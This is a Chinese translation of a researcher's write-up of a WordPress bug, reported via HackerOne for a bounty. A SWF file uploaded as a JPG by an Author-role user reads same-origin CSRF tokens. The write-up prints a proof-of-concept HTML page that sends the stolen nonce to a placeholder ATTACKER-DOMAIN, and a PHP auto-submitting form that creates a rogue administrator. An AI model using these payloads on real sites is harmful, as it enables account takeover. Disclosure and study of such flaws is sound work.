背景

自2016年以来我就一直对WordPress的安全性颇为关注,并在此期间我发现了许多有趣的东西。本文的目的就是希望与你分享我的一些研究成果,因此我希望大家能仔细的阅读这篇文章。

在正式开始谈论之前,我想先向大家谈谈WordPress。WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量。有关更多统计信息,请访问这篇文章。 我开始做一些关于WordPress安全性的研究,是因为它是一个开源的系统,其次它的功能对我来说也是一大优势, 源代码可以在这里找到。也正因为此,WordPress也成了众多黑客的攻击目标,一旦得手也就意味着数百万用户的沦陷。因此,我们应该尽可能的保证它的安全。现在,有一家公司宣布愿意为任何WordPress的RCE漏洞支付5万美元的奖金!更多细节可以在这里了解

技术细节

我开始对WordPress进行黑盒测试,以节省时间并了解其工作流程。这里有很多文件需要审核,我需要查看特定的函数。首先你需要知道的是用户角色:

  • 超级管理员(Super Admin) – 有权访问站点网络管理功能和所有其他功能。
  • 管理员(Administrator) – 有权访问单个站点内的所有管理功能。
  • 编辑(Editor) – 可以发布和管理帖子,包括其他用户的帖子。
  • 作者(Author) – 可以发布和管理自己帖子。
  • 贡献者(Contributor ) – 可以编写和管理他们自己的帖子但不能发布。
  • 订阅者(Subscriber ) – 只能管理他们个人资料的人。

我查看了Capability_vs._Role_Table以熟悉WordPress的角色权限。所以我从订阅者开始入手,但该角色并没有什么好的功能可以用来做一些其它的事情。贡献者角色也是一样。当我在作者角色中时,我试图上传一些危险的文件(如swf,svg,html,…等),但均无法成功上传:(。

即便如此上传功能依旧吸引着我的注意力,我查找了负责该功能的文件。我开始寻找上传文件的代码。这花了我很多时间,因为文件非常的多和杂,我还查阅了WP参考。以下是最重要的相关功能:

  • getimagesize() PHP内置函数
  • wp_check_filetype_and_ext() WordPress函数
  • wp_check_filetype() WordPress函数

我注意到它们正在从HTTP请求中获取MIME类型,并从文件名中获取扩展名。基本上这是依靠getimagesize()函数来完成的,许多PHP的开发人员对该函数并不了解:

getimagesize()函数用于确定任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM或WBMP图像文件的大小,并返回尺寸文件类型以及在普通HTML标签内被使用文本字符串的高度/宽度。

可以看到SWF文件可作为图片文件被上传!因此我们可以上传一个SWF文件,getimagesize()函数将返回一个SWF文件属性的数组。

我创建了一个具有幻数CWS的简单Flash文件,之后我将Flash文件扩展名更改为.JPG。然后导航到了了http://127.0.0.1/wordpress/wp-admin/media-new.php并上传了它。上传成功!

object标签和内容类型(Content Type)

由于我控制着第一个字节,因此我可以欺骗Flash插件将我的JPG图像作为Flash文件运行。

object标签有一个名为TYPE的属性,可以强制将响应加载为特定的Content-Type。在我们的例子中,我们需要返回Content-Type头作为应用程序/x-shockwave-flash,这可以通过以下方式轻松实现:

<object data="Ourfile.ext" type="application/x-shockwave-flash">

让我们对上面的内容做个总结:

  • 我们可以从低级别角色向WordPress上传Flash文件。
  • Flash文件托管在同一个域中,因此SOP不会阻止这种攻击。
  • 我们可以使用此方法访问页面内容,从而导致从跨域中读取表单中的CSRF令牌。
  • WordPress上传的文件可以直接访问http://127.0.0.1/wp-content/upload/{year}/{month}/{filename}.{ext}。

我们现在需要什么?

  • 一个flash文件,用于从相同的源读取数据并将其跨域发送。
  • 一个HTML文件用于触发flash文件并接收flash文件将要发送的数据。
  • 一个用于创建CSRF请求并添加新管理员的文件(可选,可以使用上面的同一文件来完成此操作)。

首先,让我们编写Flash文件,以下是我用ActionScript编写的内容:

wp_poc.as

看我如何挖掘到WordPress漏洞并最终拿下$1337的赏金?

我使用ExternalInterface.call函数来调用将包含在我HTML文件中的JS函数。该文件将请求发送到同一来源的特定页面并检索其数据。

我使用Flex sdk编译我的AS文件

C:\Users\Abdullah>C:\Users\Abdullah\Downloads\Compressed\bin\mxmlc.exe C:\Users\Abdullah\Downloads\Compressed\bin\wp_poc.as Loading configuration file C:\Users\Abdullah\Downloads\Compressed\frameworks\flex-config.xml C:\Users\Abdullah\Downloads\Compressed\bin\wp_poc.swf (1075 bytes)

然后我将.swf改为.jpg(wp_poc.jpg)并使用作者角色上传。之后,我创建了会触发攻击的HTML文件。

steal.html

<html> <head> <title>WP PoC!</title> <script> function stealtoken(data) { var str = data; var n = str.lastIndexOf('wpnonce_create-user'); var result = str.substring(n + 28,n+28+10); 
alert('Your token is ' + result); // Change the host here  document.location="http://ATTACKER-DOMAIN/wordpress_csrf.php?token="+result; //change this link to attacker domain } </script> <object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://127.0.0.1/wordpress/wp-content/uploads/2017/10/wp_poc.jpg?input=http://127.0.0.1/wordpress/wp-admin/user-new.php"><param name="AllowScriptAccess" value="always"></object>

输入参数是Flash文件将泄漏其内容的页面。

发出HTTP请求的最后一页是wordpress_csrf.php:

<form method="POST" name="csrf" action="http://127.0.0.1/wordpress/wp-admin/user-new.php"> <input type="hidden" name="action" value="createuser" /> <input type="hidden" name="&#95;wpnonce&#95;create&#45;user" value="<?php echo $_GET['token']; ?>" /> <input type="hidden" name="&#95;wp&#95;http&#95;referer" value="&#47;wordpress&#47;wp&#45;admin&#47;user&#45;new&#46;php" /> <input type="hidden" name="user&#95;login" value="Pwned" /> <input type="hidden" name="email" value="admin&#64;admin&#46;com" /> <input type="hidden" name="first&#95;name" value="evil" /> <input type="hidden" name="last&#95;name" value="hacker" /> <input type="hidden" name="url" value="" /> <input type="hidden" name="pass1" value="0mkNYGQBd&#33;C&amp;lVTj5kvB6kKj" /> <input type="hidden" name="pass2" value="0mkNYGQBd&#33;C&amp;lVTj5kvB6kKj" /> <input type="hidden" name="send&#95;user&#95;notification" value="1" /> <input type="hidden" name="role" value="administrator" /> <input type="hidden" name="createuser" value="Add&#32;New&#32;User" /> </form> <script>document.forms["csrf"].submit();</script>

演示视频如下:

看不到?点这里

以下是利用流程:

看我如何挖掘到WordPress漏洞并最终拿下$1337的赏金?

修复

在通过HackerOne向WP团队报告此bug后,他们花了仅4个多月的时间才解决了该问题。他们解释说这个问题很复杂,因此他们才花费了这么长时间。我可以理解他们,因为这个bug影响了WP的核心,所有WP版本都受到了影响。想了解更多详情请点击这里。WordPress团队为此奖励了我1337美元,并为该bug分配了CVE。

最好的做法是使用CDN。

总结

在这篇文章中,有许多值得我们思考的问题,例如getimagesize()函数的用法,或是jpg文件也可能会对你的网站造成安全风险。这种方法已经被曝光了很多次,但开发者仍然犯同样的错误。最后感谢大家的阅读,我希望你能从中学习到一些新的东西。

*参考来源:ahussam,FB小编 secist 编译